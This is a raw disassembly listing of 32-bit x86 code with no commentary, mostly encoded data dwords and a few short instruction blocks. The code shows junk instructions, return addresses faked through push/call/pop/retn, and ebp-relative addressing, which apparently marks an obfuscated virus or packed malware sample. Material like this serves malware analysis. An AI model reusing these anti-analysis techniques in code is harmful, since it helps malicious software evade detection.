21958BBBh, 58061300h dd 16DD8589h, 0BD830613h, 6131E3Dh, 0CB840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 5898C357h, 0CA6533CCh, 51B3AA07h, 2C098D89h dd 52600613h, 800F57h, 5B000000h, 0E185C65Bh, 54061311h dd 1399523h, 24680613h, 0B6A993B3h, 24348134h, 56DD0DD0h dd 0FFD88B66h, 131EE9B5h, 0BA66F906h, 858DCBABh, 6167C33h dd 399D8B51h, 5B06130Bh, 0E125BA66h, 8B66D0FFh, 80006AD9h dd 0B5FF54DFh, 6131E3Dh, 0D0FFABB6h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0B7C35040h, 581F22F2h, 77D0A8BAh dd 6A6143h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0C1E610C3h, 85C7D18Ah, 6131D1Dh, 1, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7AC35040h, 9CBBEAB5h dd 0B509E7FBh, 61319C1h, 60D78B66h, 0E8D7B70Fh, 4, 80h dd 14E8h, 1D756E00h, 27742650h, 80FCED39h, 9C38CD71h, 1BBE1AC6h dd 0DBB66C6h, 50505B57h, 0FDE8B52h, 11E931h, 5D20000h dd 723EA09Eh, 34179374h, 70A0900Fh, 5AD6D79Fh, 24448B58h dd 8BCBB604h, 0EBBB6600h, 24448959h, 58D88B04h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 4CC35747h, 9D03F25Eh dd 8BF5B72Fh, 1313F595h, 6AFF6A06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0EC9BC356h dd 89B27C78h, 1310CDBDh, 92BB6606h, 995FF64h, 0E806130Dh dd 6, 16F1B920h, 0E381F6A1h, 1A17E883h, 10E85Bh, 55070000h dd 3ED3690h, 0F9FF6F86h, 0C5F8A91Fh, 0BB66D1C6h, 615ADDFFh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 7DC35545h dd 95039876h, 6131A49h, 44B35050h, 2404895Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B4C35646h, 8B66120Bh dd 0EDBD89DAh, 8B061304h, 1331C185h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 483A247Ah dd 0AC5083B8h, 8A0FB4F4h, 2, 0C00BF98Ah, 4E840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 60D135C3h, 18E1B589h, 9D010613h, 6131ABDh, 0F995FF61h dd 6A061314h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 4100C352h, 13B185C7h, 10613h dd 958B0000h, 6133145h, 1B7DBD83h, 0F000613h, 4384h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0EBA2B1B4h, 66485A5Bh, 695CDB81h, 148595FFh, 11E90613h dd 33000000h, 0D5B97C95h, 0FF861363h, 8C7EEA76h, 0BD402976h dd 30CDBD83h, 0F000613h, 1284h, 91853100h, 0FF06130Bh dd 1307DD95h, 0BD950306h, 83061305h, 131F81BDh, 840F0006h dd 5Dh, 0BF2DBA66h, 68C0Fh, 95010000h, 61305BDh, 0A31BD83h dd 0F000613h, 4085h, 8CB8100h, 0FF709F92h, 13311D95h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 55BD9245h, 6E8603Eh, 0FE000000h, 9256EB8Fh, 0A5B58B50h dd 5E061313h, 0C1BD8361h dd 6130Ah, 3C840Fh, 0E9600000h, 12h, 5626025Ch, 4C13B1E7h dd 62B365D2h, 4826CC7Dh, 81612254h, 130D7D85h, 400306h dd 0BD958900h, 6606132Eh, 818FEDBAh, 13311585h, 400306h dd 0E2816600h, 310F5C99h, 0CD8D8DFCh, 0E906135Fh, 13h dd 38BFD0E3h, 82E380FEh, 0FDAAA401h, 0F392CB96h, 5314B01Eh dd 0B048D281h, 895B13B8h, 79BD0901h, 0BA061321h, 3AE51072h dd 4189C233h, 0FF48A04h, 85952331h, 8D061334h, 135FE18Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 4CD19BA1h, 1CD59D89h, 1890613h, 33D08B66h dd 299D89C2h, 8906130Bh, 6A0441h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0D6B5BEC3h, 5E98B3Bh dd 0D3000000h, 0C262563Bh, 1309BD83h, 0F000613h, 3884h dd 0FFDE8A00h, 13317D95h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 3C7D9205h dd 1B04EE7Eh, 0CD8531E4h, 89061308h, 1324F9B5h, 5BD8306h dd 106131Dh, 37850Fh, 9D8B0000h, 61305A9h, 1451B589h, 26E90613h dd 8A000000h, 0F8B58BF9h, 0C7061360h, 6, 0CEB58B00h, 0C706135Eh dd 6, 0BA66CF00h, 8BF98151h, 1319199Dh, 0B1BD8306h, 61313h dd 11C840Fh, 95890000h, 6131E05h, 30A9BD83h, 0F010613h dd 0F885h, 59EBBB00h, 8D8B3369h, 6134F17h, 178A0Fh, 12E90000h dd 33000000h, 0C11113C4h, 0FBD2D293h, 137FE00Dh, 6B85F622h dd 1C6C6h, 6800Fh, 958B0000h, 61314BDh, 52006A60h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 9F59AD0Ch, 0BD349D06h, 0D868FF97h, 6000DF38h, 820F51h dd 5E000000h, 816177B4h, 38582434h, 958B00DFh, 6131CD9h dd 0F60FF6Ah, 1587h, 10E900h, 3B0B0000h, 219C496Eh, 5FB4A632h dd 32A65852h, 0B589D365h, 6130C71h, 995FF61h, 0F806130Dh dd 6840F61h, 8B000000h, 130E699Dh, 0E595FF06h, 6A06132Fh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 41F7C356h, 0FAB024E8h, 178D8B12h, 0F06134Fh dd 680h, 1DD28100h, 0FE09C93Dh, 0D7B70F01h, 0EB8166h, 75BD8315h dd 1061320h, 4850Fh, 0BA660000h, 0C08B7604h, 8B0Fh, 0BD830000h dd 6131625h, 83097500h, 132C81BDh, 1A740006h, 0C08B5350h dd 0D7D858Bh, 85890613h, 6130D7Dh, 0A97D9D8Dh, 0D3FF0615h dd 0BD83585Bh, 6132C81h, 50187400h, 7D858B53h, 8906130Dh dd 130D7D85h, 6C9D8D06h, 0FF0615A6h, 0E8585BD3h, 9, 0ED87D565h dd 8D2CF88Ah, 0FBE381ACh, 5A5B5407h, 28A0Fh, 0D78B0000h dd 20CA8150h, 5B7A9E4Ch, 0BD83C08Bh, 61313B1h, 2C850F00h dd 89000000h, 130BE18Dh, 0D5BD8306h, 61325h, 19840Fh, 0BD010000h dd 6131629h, 0EE9h, 0C5A2D300h, 5B07F1F8h, 0FE91A466h dd 83E386BFh, 1313B1BDh, 840F0006h, 40h, 30D19D89h, 93BB0613h dd 8360E55Fh, 1318FDBDh, 840F0006h, 28h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6EC35545h, 14F9B244h dd 8D29CA0Ah, 6130D25h, 13B1BD83h, 0F000613h, 4A84h, 178B0F00h dd 57000000h, 0FE8h, 5A4F7600h, 25925D14h, 2FBD3C6Ah, 91D126D7h dd 0BD835B5Bh, 61318FDh, 20840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0BCD5C350h, 833EC741h, 1313B1BDh, 840F0006h, 61h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E9C35646h, 3895878Dh dd 603FFB14h, 24858D8Bh, 0BF660613h, 8361E1D7h, 1321E9BDh dd 840F0006h, 25h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0F5C35646h, 6CACE899h, 0E0B10E9h, 0B1BD83F6h dd 61313h, 76840Fh, 12E80000h, 6B000000h, 7FEFAFEEh, 0DE30EAA8h dd 9D029D1Ch, 0A2D60AD8h, 71BD29EAh, 5B06131Eh, 1E11BD83h dd 0F000613h, 4B84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 58A0F0Dh, 0BA000000h dd 1D7B2EF8h, 13E9h, 0E5712800h, 0AAC9A501h, 7685A360h dd 7EB947F0h, 39A5B141h, 217D95FFh, 95890613h, 61314B1h dd 0BD83C08Bh, 6131625h, 83097500h, 132C81BDh, 1A740006h dd 0C08B5350h, 3115858Bh, 85890613h, 6133115h, 0A9E49D8Dh dd 0D3FF0615h, 0BD83585Bh, 6132C81h, 50187400h, 15858B53h dd 89061331h, 13311585h, 859D8D06h, 0FF0615A6h, 80585BD3h dd 805023C7h, 8B5A5CDFh, 0DAB70FC0h, 13B1BD83h, 0F000613h dd 5AD84h, 83DF8B00h, 132CF1BDh, 840F0206h, 55h, 11E9h dd 0A8AC6400h, 907A57F1h, 1527E025h, 5638E797h, 0BD83E331h dd 6131D05h, 32850F01h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0E156C356h dd 35235E9Fh, 60029E57h, 34759589h, 0BD8B0613h, 6130C69h dd 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 8102D9C3h, 4F178D8Bh, 6A0613h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0F83E66C3h dd 0C20D1D80h, 6601FEE2h, 0BF60DB81h, 4E8h, 8000h, 50D18B00h dd 448B95B7h, 0B8600424h, 29DC903Dh, 11E9h, 0AFBC1B00h dd 0C4690AADh, 0B6E83361h, 0E48CF4C4h, 8B6192EEh, 0A0BB6600h dd 24448952h, 0BB665004h, 585A6200h, 0FF6AFE8Ah, 68A0Fh dd 9D8B0000h, 61324B1h, 12319533h, 95FF0613h, 6130D09h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 6AC35646h dd 0C4898F6Ch, 8BC79601h, 1324A59Dh, 0C1B58906h, 6106132Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DEC35242h dd 5E9h, 0F1EB9000h, 0CA8161B0h, 73C68BDh, 65DBD8Dh, 6A0613h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 5C3EE2C3h, 10E985h, 26A30000h, 88745195h, 2B68875Ah dd 96BF0EF2h, 4F8BD8A5h, 66016A1Ch, 50E2EABAh, 5BDA8B56h dd 6A240C89h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 17C3C350h, 3D008124h, 0A1BD89B9h dd 8D06130Dh, 16367785h, 0E7EE8006h, 0DA80D0FFh, 204F8B6Ch dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B0C35141h dd 0A61B5E87h, 0A6DC7FC3h, 0D480608Eh, 61C68BE9h, 59B3036Ah dd 0DE891h, 0CDA80000h, 81777E9h, 323C1174h, 508C41B3h dd 12E952h, 0DDFA0000h, 30F22DF9h, 0B4249CB6h, 0DA0A84B5h dd 0EDE810B0h, 5E9310Fh, 3B000000h, 81ACEB7Dh, 505A585Ah dd 9E68BB66h, 55006A91h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 208045DCh, 8B82C1BEh, 1330B595h dd 858DF906h, 6163677h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 6FC35646h dd 0F5B4B54h, 1585h, 0DE800h, 0E3E20000h, 0ADD73CA4h, 4F810D02h dd 0B35461BFh, 95295BFDh, 613207Dh, 6AD0FFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0D2376DC3h dd 285E826Eh, 5DBD8D71h, 0E9061306h, 8, 5B24E14Dh, 3EF53EADh dd 4F8B95B7h, 50006A1Ch, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 2FA93C16h, 8F113983h, 21950164h dd 6A061323h, 50006A01h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 17F1680Dh, 4C5F0ED2h, 89D1BF0Fh dd 131B01BDh, 52509106h, 310F90B2h, 585A02B7h, 0F525050h dd 0BB525031h, 4A3CCA2Eh, 800F310Fh, 0 ; --------------------------------------------------------------------------- pop edx pop eax pop edx pop eax xchg eax, ecx mov [ebp+6130EE9h], esi lea eax, [ebp+6163677h] or bh, 37h call eax push 0 push ebp call loc_582B6D and [ebp-3Dh], bl loc_582B6D: ; CODE XREF: sub_580566+25FFp pop ebp mov [esp-14h+arg_E+2], ebp add [esp-14h+arg_E+2], 1Ah inc ebp push ebp retn ; --------------------------------------------------------------------------- db 9Eh, 0CFh, 0A0h dd 85AD4039h, 0C759D8Bh, 0E9600613h, 0Ch, 26655792h, 0C1EC32B7h dd 0CB8CE920h, 0C8A0Fh, 6E80000h, 3D000000h, 0BD027DB0h dd 8B615AC5h, 6A204Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 751F35C3h, 3D35BB94h, 36A2946h dd 91A1DB80h, 5250F88Ah, 0E34BBB66h, 0CE8915Ah, 67000000h dd 9945070Bh, 0E24EC6D8h, 230A90D9h, 1301F59Dh, 858D5A06h dd 6163677h, 0D0FFD88Ah, 5AD88B51h, 4F178D8Bh, 6A0613h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 8A526CC3h, 1FE5AD5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 7C35646h, 7C3AEDCh, 8BF9FECDh, 134F1785h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 7BBBE7B0h, 0FEBFC6h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0E4C35040h, 0AA2B60A2h, 0E781757Ah dd 8B6DD380h, 131EA595h, 51016A06h, 22999D23h, 0E85B0613h dd 4, 0FFFF9FFFh, 0CE9h, 0A911AB00h, 4687E86Ah, 2CDC8D5Ch dd 14E95011h, 0DE000000h, 4D6739D1h, 0DEDB30ADh, 20B45155h dd 0F822B522h, 8B4CF594h, 50042444h, 2850F52h, 56000000h dd 0E9310F5Bh, 14h, 0C283321h, 0E8813C2Eh, 6A2A8864h, 0B13023EBh dd 2ECB2266h, 8B585Ah, 4489C8B6h, 6A580424h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 5B08C357h, 54AF8D81h, 237F720Bh, 1312399Dh, 81858D06h dd 6A061636h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 657CC350h, 0D0FF9EBDh, 59D8D89h dd 0BD830613h, 61325D5h, 0DE840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 44C9C350h, 0EE92FC97h, 958BBD70h, 6131E99h, 173DBD83h dd 0F010613h, 0A885h, 0AE800h, 0C67A0000h, 64746DD8h, 2EE5464h dd 6850Fh, 95010000h, 613138Dh, 8B8D8D5Bh, 8B061636h, 0E9036ADAh dd 0Ah, 0DC0371Bh, 7A5F0C47h, 16A8BC8h, 20919D8Bh, 0D1FF0613h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A2C35040h dd 679504D0h, 49DD0A99h, 6656016Ah, 6A5BDF8Bh, 0FFE0B601h dd 4D9D8BD1h, 0E906131Fh, 6, 4543F36Dh, 11E8C4CDh, 6AFA486Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 3016C353h, 5E37996Ah, 6A206ACBh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 45C5C357h, 0DF9FD5Fh, 155DBD89h, 0FF6A0613h, 0FFD88B66h dd 130D0995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 0B70F9C33h, 0B8D8h, 870F0000h, 2 dd 12E918B6h, 0FE000000h, 851C6643h, 0A6E7B529h, 3D723117h dd 0DD662223h, 0FC00BCDh, 8B84h, 5958B00h, 83061316h, 1307F1BDh dd 840F0006h, 78h, 0FE9h, 62870400h, 234E89C9h, 175FA65h dd 9F403BD5h, 12E85760h, 55000000h, 1A749BFEh, 5C5793B4h dd 0FF4D796Ch, 1A867437h, 0B5B5BFEh, 1309B585h, 95FF6106h dd 6131339h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0DAC35141h, 6167CBCh, 95336E96h, 61324F9h, 0E840Fh dd 8B600000h, 13305985h, 0E18D8B06h, 6106131Dh, 0F55858Bh dd 9D8B0613h, 61321E5h, 0C619B7h, 0FE900h, 0C1840000h dd 4DBC8188h, 833176A4h, 0BA23151Bh, 6A58ABh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 692372C3h dd 8B385CA3h, 132A2595h, 0D98C6606h, 0C1F6FBB7h, 61840F04h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0C82FC356h, 0ACA07C26h, 8B2B5C64h dd 36E9DFh, 0BE90000h, 23000000h, 4ED442CDh, 0B5D37AC0h dd 0B58B4949h, 61329C5h, 0C681D38Bh, 1180h, 24118589h dd 0B5890613h, 6131A91h, 6C7h, 8D890000h, 6133091h, 51006A5Eh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 83729361h, 840F00F8h, 0AD8h, 31758D09h, 0F8830613h dd 0CB850F01h, 8B000001h, 0B8DAh, 958B0000h, 613229Dh dd 840FC00Bh, 13Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 81C35040h, 0EE05626Bh, 3EB987E1h, 1F883E9h dd 14E840Fh, 0BD090000h, 61318EDh, 0F03F883h, 8884h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 4ED64E32h, 9D8BE472h, 6130B6Dh, 0B8h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0D60AD89Dh, 66E2EAA2h, 0BD8DD18Bh, 5B89E0h, 0BE9h, 0AADE9600h dd 0E7BD443Fh, 0D7FA0F3Eh, 6AE7FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 19B0D9C3h dd 1B8F9h, 85890000h, 61315F5h, 89E0BD8Dh, 6A005Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 7EB6C2C3h, 519589A0h, 0FF06130Ah, 52006AE7h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0E8C5035Ah dd 14h, 40D7F907h, 0E43A69Bh, 8C6892DEh, 0E41C77B8h, 6D84C67Eh dd 19D18D89h, 8D5B0613h, 1345A3BDh, 13E86006h, 9A000000h dd 0A3A39605h, 86DC5F5Eh, 0C9F333B2h, 8F9FD838h, 8166F582h dd 592446D1h, 0E961C68Bh, 2B3h, 0FE9h, 491A8300h, 38450480h dd 682E4024h, 14AAA518h, 4F7285C7h, 50613h, 0D88B0000h dd 5B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0E951BEB0h, 818h, 29799533h, 0F8830613h dd 13850F02h, 0B6000001h, 219D8B34h, 0B806131Dh, 0 dd 197D952Bh, 0BA660613h, 0C00B55CFh, 0CE840Fh, 0AEB30000h dd 0F01F883h, 0FFFF9384h, 0ABBA66FFh, 0C5BD89EFh, 83061331h dd 840F03F8h, 0FFFFFEC9h, 898D3160h, 0E9061317h, 14h, 7A780AF2h dd 67A72B5Bh, 0BF39391Bh, 0AFF3F9ABh, 0F7528C9Ah, 0B861h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 24CE03C3h, 0E827B90Eh, 11h, 952B7136h, 4CE56A84h dd 1FE4AB1Ch, 80185DEAh, 14E87Dh, 0F30A0000h, 0C62914F6h dd 47BAC7CDh, 128D62A3h, 0FC4420C6h, 8E93B89h, 27000000h dd 42C7652Eh, 5BDDC296h, 0E0BD8D5Bh, 6A005B89h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 2B8DC352h, 9D8BE7FFh, 61322E9h, 479BBD8Dh, 8A0F0613h dd 3, 0E9D68B66h, 15Bh, 0DE9h, 0AE5A6900h, 0C773BF51h dd 0B0775C70h, 0F8838CB7h, 31850F03h, 29000000h, 13003595h dd 2FBD8D06h, 50061349h, 1EF99D8Bh, 0E95B0613h, 127h, 13E9h dd 3280A700h, 95F014CFh, 0D75DEFBh, 0B5C47D2Ah, 0B2E37094h dd 0F05F883h, 885h, 0ADE9FC00h, 8A000006h, 6F883F4h, 41850Fh dd 870F0000h, 6, 296D8589h, 0BD8D0613h, 6134B27h, 1B99B501h dd 0D8E90613h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0E8C4C355h, 2268C811h dd 833B77EDh, 850F07F8h, 46h, 0BD8D3EB3h, 6132609h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 8AC35747h, 359F5E63h dd 48B0Fh, 0BB660000h, 1AE994F2h, 0E9000001h, 0Ah, 44A4EBB5h dd 2C2CE980h, 0F8832E01h, 5C850F0Ah, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0A20DC353h, 4D1FBD8Dh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 14DF08C3h, 97C200C0h dd 24858509h, 0CE90613h, 8B000000h, 1314599Dh, 5952906h dd 5706132Ch, 3576E281h, 3FB946D7h, 834738D2h, 840F003Fh dd 8Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h dd 89C35343h, 9D2440Eh, 131CFD8Dh, 6A0F3006h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 7806C353h, 0CD8D3146h, 81061313h, 9E3481D2h, 0FC9D11Bh dd 683h, 1958900h, 4706131Dh, 598D8960h, 8B06130Dh, 131985B5h dd 958B6106h, 613103Dh, 0FFFF7EE9h, 8E8FFh, 0D09F0000h dd 0A0988BFBh, 5BF9CA68h, 22819D29h, 0B65F0613h, 1BBD89D4h dd 0F06134Fh, 286h, 8DDF8B00h, 132AA58Dh, 13E906h, 0E3130000h dd 0A1F4C767h, 23A1ADE4h, 5607C66h, 0C105D764h, 0EED780BFh dd 1CBDB5FFh, 958B0613h, 613208Dh, 0A34D858Dh, 8D500615h dd 13573ABDh, 0C08D8D06h, 0B8061372h, 54831ABCh, 730CF2Bh dd 4947C8D0h, 0B58DF875h, 6137268h, 72D88D8Dh, 0CF2B0613h dd 0C933A4F3h, 0B8h, 74C00B00h, 0F1BD8346h, 61307h, 95FF0674h dd 6131339h, 4F1BB58Bh, 858D0613h, 615A34Dh, 858DD0FFh dd 6134381h, 85C7D0FFh, 61311CDh, 1, 8B9A58Bh, 0B58B0613h dd 6133481h, 13E5AD8Bh, 0C0330613h, 6A000CC2h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 78F1C356h, 7B6360Bh, 1FC5B589h, 0BD830613h, 61307E5h dd 15840F00h, 80000000h, 95FFF8E3h, 6131685h, 6850Fh, 95310000h dd 613153Dh, 22C1BD83h, 0F000613h, 18385h, 3DEE8000h, 173DBD83h dd 0F010613h, 17385h, 0ED953300h, 83061300h, 1321BDBDh dd 840F0006h, 160h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 8FC35040h, 7A0DC539h, 2A599D8Bh, 0BD830613h dd 6134F6Eh, 2D840F00h, 89000001h, 1334859Dh, 4D858D06h dd 0E80615A3h, 10h, 9FDFB996h, 3155BE4Ch, 7FC03920h, 9A592E33h dd 5E9h, 0D5E2100h, 8B5B4F05h, 1314519Dh, 1BB58B06h, 8906134Fh dd 132D19B5h, 81D0FF06h, 0F685DECAh, 0A99D2340h, 0C606130Eh dd 1311E185h, 820F5406h, 2, 0D48AD08Ah, 69595E68h, 11890FA8h dd 0E8000000h, 9, 9B098E16h, 17E383F9h, 5A616044h, 96240481h dd 6A56E565h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 1624C351h, 5762FD1Eh, 39A5BB75h dd 81665D99h, 0FF13ACF2h, 13116DB5h, 3830F06h, 0F000000h dd 858DDFBFh, 6133AADh, 0FFD9B70Fh, 0A5D380D0h, 7E9h, 0B3ECB00h dd 0ECF8CA4Ch, 6AFC006Ah, 858B60FFh, 613107Dh, 3211B589h dd 0FF610613h, 17E381D0h, 660486B7h, 0FF3CA8BAh, 1304C5B5h dd 0D8B70F06h, 1CBD95FFh, 6A0613h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0FE20C0C3h, 89BA69B8h dd 8D293359h, 61328E5h, 4F1BB58Bh, 6A0613h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0A87A3FC3h dd 66F59F9Fh, 0FC3D38Bh, 8Fh, 55B58B00h, 106130Fh, 1334AD85h dd 0FF60B06h, 0C84h, 71F9BA00h, 6C676E8h, 95BA6600h, 23858927h dd 8006134Fh, 0F8831FCAh, 0F9840F00h, 6A000002h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 225EC357h, 6AC66C53h, 0B8DFh, 83F50000h, 840F00F8h dd 51h, 11318589h, 0F8830613h, 2C850F02h, 0BB000000h, 11CAA5A9h dd 459E858Dh, 0EA800613h, 9292D94h, 0BD890000h, 6132185h dd 0C0BA6690h, 8B665038h, 0F8F890D1h, 0A19D8BC3h, 0B8061321h dd 0 ; --------------------------------------------------------------------------- mov [ebp+6130FE9h], edi jmp loc_583B28 ; --------------------------------------------------------------------------- or [ebp+6131A99h], ecx mov eax, 1 xor dh, 0A0h lea edi, [ebp+61345A3h] or edx, [ebp+6130E31h] jmp loc_583997 ; --------------------------------------------------------------------------- dw 9D8Bh dd 6132485h, 0F02F883h, 5A85h, 11E800h, 1CA10000h, 0C7859AEEh dd 8AD66222h, 0A8E99B3h, 89E7900Ch, 1300A99Dh, 0BD8D5A06h dd 613479Bh, 0A358589h, 0E6800613h, 8DE97Bh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 27647C3h, 88101048h, 0BB665606h, 835A7A60h, 850F03F8h dd 37h, 59E3BA66h, 492FBD8Dh, 85890613h, 61331E5h, 46E9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0DD9533D5h, 83061304h, 850F05F8h, 1Bh, 0F91958Bh dd 0B5E90613h, 0E9000000h, 0Bh, 0F6E35487h, 0B73A9D84h db 96h, 6Dh, 0B2h ; --------------------------------------------------------------------------- loc_583997: ; CODE XREF: sub_580566+335Fj push edi sub [ebp+61321F5h], ecx jno loc_5839AA mov [ebp+6132CD9h], edx loc_5839AA: ; CODE XREF: sub_580566+3438j mov ecx, 4738D23Fh push 0 push eax call loc_5839BA and [eax-3Dh], bl loc_5839BA: ; CODE XREF: sub_580566+344Cp pop eax mov [esp-0Eh+arg_A], eax add [esp-0Eh+arg_A], 1Bh inc eax push eax retn ; --------------------------------------------------------------------------- dw 0B7F4h dd 0E36291A0h, 0DE9CD24h, 44000000h, 0BD26BB84h, 4F974D01h dd 0B01D15F5h, 0F003F83h, 4F84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0ABA57B70h dd 0BD3160CFh, 61322B1h, 1929858Bh, 30610613h, 8D9D8B0Fh dd 0D1061313h, 0D99D8BC9h, 4706132Fh, 1DCBFFBAh, 0FFAEE94Dh dd 8589FFFFh, 6131F79h, 0F05F883h, 0E385h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0DBF59D61h, 25958B2Dh, 66061320h, 0BF0FD98Ch, 4C1F6D6h dd 7C850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0F4BD4C3h, 88Ch, 9D2B5000h, 61329BDh dd 0B85Bh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 4355E0C3h, 8B1280C7h, 131FD595h dd 52E906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0BF2F55C3h, 858B0981h, 6130A71h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 51C35040h dd 0BD8960C2h, 6131A35h, 66E0FF61h, 0A4F6D381h ; --------------------------------------------------------------------------- loc_583B28: ; CODE XREF: sub_580566+3340j cmp dword ptr [ebp+6131CBDh], 0 jnz loc_583BDE mov [ebp+6131305h], ebx push eax pusha ja $+6 call near ptr loc_583B57+1 scasb xor byte ptr [ebx], 0D9h lods dword ptr [si] adc ah, [esi] cmpsb mov al, ds:9A9C0CB6h sti loc_583B57: ; CODE XREF: sub_580566+35DDp jnz short near ptr dword_583B68 test [eax], eax ; 